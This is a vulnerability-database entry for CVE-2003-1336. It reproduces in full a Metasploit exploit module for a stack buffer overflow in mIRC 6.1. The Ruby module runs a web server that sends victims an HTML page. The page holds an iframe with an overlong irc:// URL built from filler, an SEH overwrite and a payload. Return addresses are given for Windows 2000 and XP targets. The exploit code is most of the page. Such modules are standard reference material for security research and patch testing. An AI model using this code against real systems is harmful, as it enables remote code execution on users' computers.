mIRC IRC URL Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType

packetstorm🔗 packetstormsecurity.com👁 31 Views

mIRC IRC URL Buffer Overflow vulnerability in Metasploit Framework for mIRC 6.

Reporter	Title	Published	Views	Family All 6
Circl	CVE-2003-1336	9 May 201000:00	–	circl
CVE	CVE-2003-1336	23 Sep 200723:00	–	cve
Cvelist	CVE-2003-1336	23 Sep 200723:00	–	cvelist
Exploit DB	mIRC - IRC URL Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
Metasploit	mIRC IRC URL Buffer Overflow	3 Nov 200619:35	–	metasploit
NVD	CVE-2003-1336	31 Dec 200305:00	–	nvd

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'mIRC IRC URL Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in mIRC 6.1. By  
submitting an overly long and specially crafted URL to  
the 'irc' protocol, an attacker can overwrite the buffer   
and control program execution.  
},  
'License' => MSF_LICENSE,  
'Author' => 'MC',   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2003-1336'],  
[ 'OSVDB', '2665'],  
[ 'BID', '8819' ],  
],  
  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 Pro English All', { 'Offset' => 1442, 'Ret' => 0x75022ac4 } ],  
[ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 1414, 'Ret' => 0x71aa32ad } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 13 2003',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
filler = rand_text_alphanumeric(target['Offset'], payload_badchars)  
seh = generate_seh_payload(target.ret)  
sploit = filler + seh  
  
# Build the HTML content  
content = "<html><iframe src='irc://#{sploit}'></html>"  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)   
end  
  
end  
`

26 Nov 2009 00:00Current

0.8Low risk

Vulners AI Score0.8

EPSS0.78411